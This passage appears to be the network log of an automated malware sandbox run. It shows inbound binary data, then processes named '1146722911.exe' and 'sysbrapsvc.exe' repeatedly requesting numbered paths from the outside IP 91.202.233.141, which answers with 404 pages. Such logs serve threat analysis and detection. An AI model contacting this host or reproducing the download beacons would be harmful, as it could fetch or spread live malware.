May 8, 2024 15:23:10.685863018 CEST	1289	IN	Data Raw: fb 97 3d 42 70 69 f4 d0 6a d4 64 5d a9 23 47 e7 52 a7 c1 d7 43 8f cf 0d 5b 9a aa 34 1e 7a 10 5f ac 61 5b 0a 44 53 86 32 fc 6b 44 b6 49 0a c7 40 06 33 92 a6 5d 6c 1e 63 f7 06 96 6e 19 64 25 51 78 ac 38 7c 66 e1 8d 97 78 f2 9d 59 03 21 60 8e 4e 9a Data Ascii: =Bpijd]#GRC[4z_a[DS2kDI@3]lcnd%Qx8\|fxY!`N5zm"@%hlTz?g4Da:2\iTe.AD$F=u<N<>L%Acf5"-+"Zhb'6Y-b<D0Hn6S#}2qV!jVe&yPyXC*
May 8, 2024 15:23:10.685875893 CEST	1289	IN	Data Raw: 1a 46 bb ff b1 fa 98 44 c5 18 6c 9e 0d ec 06 f9 44 ad ac 14 68 8e 3c 37 c7 63 f7 ba f9 8e 1b 7d 54 ce d3 2c 5b d2 fc 55 f9 78 94 81 b2 1f a7 3a b6 3c ec 69 e6 35 7c 15 79 48 36 d9 9e 73 0a 15 67 8d 1f 32 00 43 7d f6 90 4e 5b d7 bf 3b 6d 8a c6 0d Data Ascii: FDlDh<7c}T,[Ux:<i5\|yH6sg2C}N[;mPTHNCSQwcXpRwDF1[^3LTk6QgGt,C`bO?FE`;,fdBlJ1$z/AhCZTK~*KBK<}r5uJ^
May 8, 2024 15:23:10.685889006 CEST	1289	IN	Data Raw: d6 7d f5 5f d9 ad a7 b3 48 ed 48 0f ed d0 a6 96 e0 05 f7 34 23 65 b6 2a 32 d5 2b 99 9e 59 e7 a9 c2 a3 a2 1e 4b aa 64 c1 ae 4e b8 34 7b 57 88 1d d0 92 ef 80 86 9d e5 82 de 2c 4b 34 03 65 a1 e8 4a ba 91 c0 a7 02 74 37 db ea aa 60 a0 a4 7a 12 0d 6d Data Ascii: }_HH4#e2+YKdN4{W,K4eJt7`zmZ5UG?RN'Oio?b[AEvS&;=YFj"a_Y*'ih5T4DrE:o^D0C,cyxD~KlE,P/'mP~S
May 8, 2024 15:23:10.685904980 CEST	1289	IN	Data Raw: 40 9d 2f 40 92 1d dc 2e 2d 37 07 95 c0 ca 27 b3 45 f9 db 57 cc 3c b3 94 3c 1c 6e a7 f9 03 68 03 f9 94 26 62 55 3d d2 84 91 a2 08 81 a0 cf 06 ad 0a 96 5d 18 4d 46 d5 71 52 28 c2 23 ad 04 c6 9e 13 96 5a df 9d 4a 31 8a 0d 44 89 cd 7a 9e 0a 4b af 79 Data Ascii: @/@.-7'EW<<nh&bU=]MFqR(#ZJ1DzKyZ~s^V,j{OZ\|4Mi{0X~xLSITC[H{X4obLUFSYCA[kW0ym9_"^^%D8RL4/!~=\MIDW.xtL<7QH2
May 8, 2024 15:23:10.685919046 CEST	1289	IN	Data Raw: 44 4d a6 a3 b7 22 c2 5b 9f 42 16 aa a0 54 8e 79 60 78 63 27 93 c8 7b 4f 79 c4 39 e2 83 37 c6 3c 77 b6 6f c5 bd 55 c4 dd af 2f d6 8e 19 0b 89 c3 74 7c e8 62 ed 59 e0 3d f9 9f f6 a4 01 1a db e9 8e c3 a0 08 ab b1 db ce c5 be 6b 2e c1 21 3d 3b 72 f6 Data Ascii: DM"[BTy`xc'{Oy97<woU/t\|bY=k.!=;r\&q9C_SfNHUFANxjH{0FX#pyzcL(&5FGv@OJu$u;.:Kr3{Ys'~40.gW9-p
May 8, 2024 15:23:10.685935020 CEST	1289	IN	Data Raw: 96 c7 1e 99 2a 65 47 5a 2f 04 61 95 c3 f7 3b 13 2d 1f 19 99 60 44 70 cc 71 89 26 ce fe 61 07 db 08 67 7b ef 72 66 48 9c 03 5c 52 eb 77 87 ba e0 6c 75 f8 82 5e 71 cc 4e 93 81 a7 97 ee d8 22 7d fd 87 70 04 2c 56 52 7b 5c c1 82 64 36 3b 23 11 5b 64 Data Ascii: *eGZ/a;-`Dpq&ag{rfH\Rwlu^qN"}p,VR{\d6;#[dRuuo5h{.pQajc}hqR';C@{F#O8rlES06QI,W\|<#wF%\3'J,\|pi-]D
May 8, 2024 15:23:10.685946941 CEST	1289	IN	Data Raw: ad 00 b0 d7 3a 66 4e 1e 03 44 ca 9a 69 86 81 3d 7b 3e 74 3d 11 a0 40 8a b0 4a ec 07 f1 39 3a c3 8a 08 fe 9a 04 56 91 cb 6e 0b b7 3d 71 77 1a ab 17 c8 b2 a1 13 f0 84 da c4 a6 3d 8b 0e b7 48 c2 70 8b 3d 79 0b 7b d0 83 40 bc 6e 63 e0 65 3c eb 92 7d Data Ascii: :fNDi={>t=@J9:Vn=qw=Hp=y{@nce<}K;m)2<+)}R\|KG#Hp;+q-a+PG V(:2\%D#v_=Vcf~t*UszjG,Hj\|kwD^J[2;
May 8, 2024 15:23:10.685960054 CEST	1289	IN	Data Raw: 4a fc ac 2a f0 d4 7f 4b 5b 5e d3 b6 bb f2 53 4c 5a 65 a8 db fd c0 16 ef fa 31 99 22 f9 0c fc 39 a7 0a 63 e4 67 bf a5 a8 22 34 1f 1a 3e 8f 8b 2c 95 d1 b2 2f 63 fb d3 8c b1 e4 9b d3 5c f8 a4 85 be 1f 12 ae 72 d5 58 85 43 52 e6 38 c2 6f 80 6d 00 79 Data Ascii: JK[^SLZe1"9cg"4>,/c\rXCR8omyDoBpxA\|l;)/m:O[]n&A=+a#c7vC#c&UQXZa.J_ana^-:V:jdx+.<K="uR`*2SY
May 8, 2024 15:23:10.685971022 CEST	184	IN	Data Raw: 62 6b e6 21 ab a9 eb e8 9e 02 55 78 11 38 01 35 39 77 e9 44 37 e2 1d f0 1e a9 4c 4a ab 33 4c eb 41 0e 7e b2 f2 cb 7b c4 d9 0a 53 01 ea 34 e0 60 75 f2 6c 58 bc 8e db 3d 9d 02 23 ac bf af 98 e0 41 25 68 5a 3d a9 69 92 af 5f 51 c7 ca 1d de fa 66 d1 Data Ascii: bk!Ux859wD7LJ3LA~{S4`ulX=#A%hZ=i_Qf]J`7LO/6o.?n-;K/:W$[G}coB%9lA=Nj@E_*+q{@:'W1pfe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49726	91.202.233.141	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:12.927995920 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:13.280214071 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:13 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:23:15.325579882 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:15.675209045 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:15 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:23:18.033548117 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:18.382745028 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:18 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49727	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:18.379914999 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:18.725898027 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:18 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:23:20.747984886 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:21.096507072 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:20 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49729	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:23.477629900 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:23.832170963 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:23 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49730	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:26.216587067 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:26.571116924 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:26 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49732	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:28.960473061 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:29.309212923 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:29 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49733	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:31.698714018 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:32.053797960 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:31 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 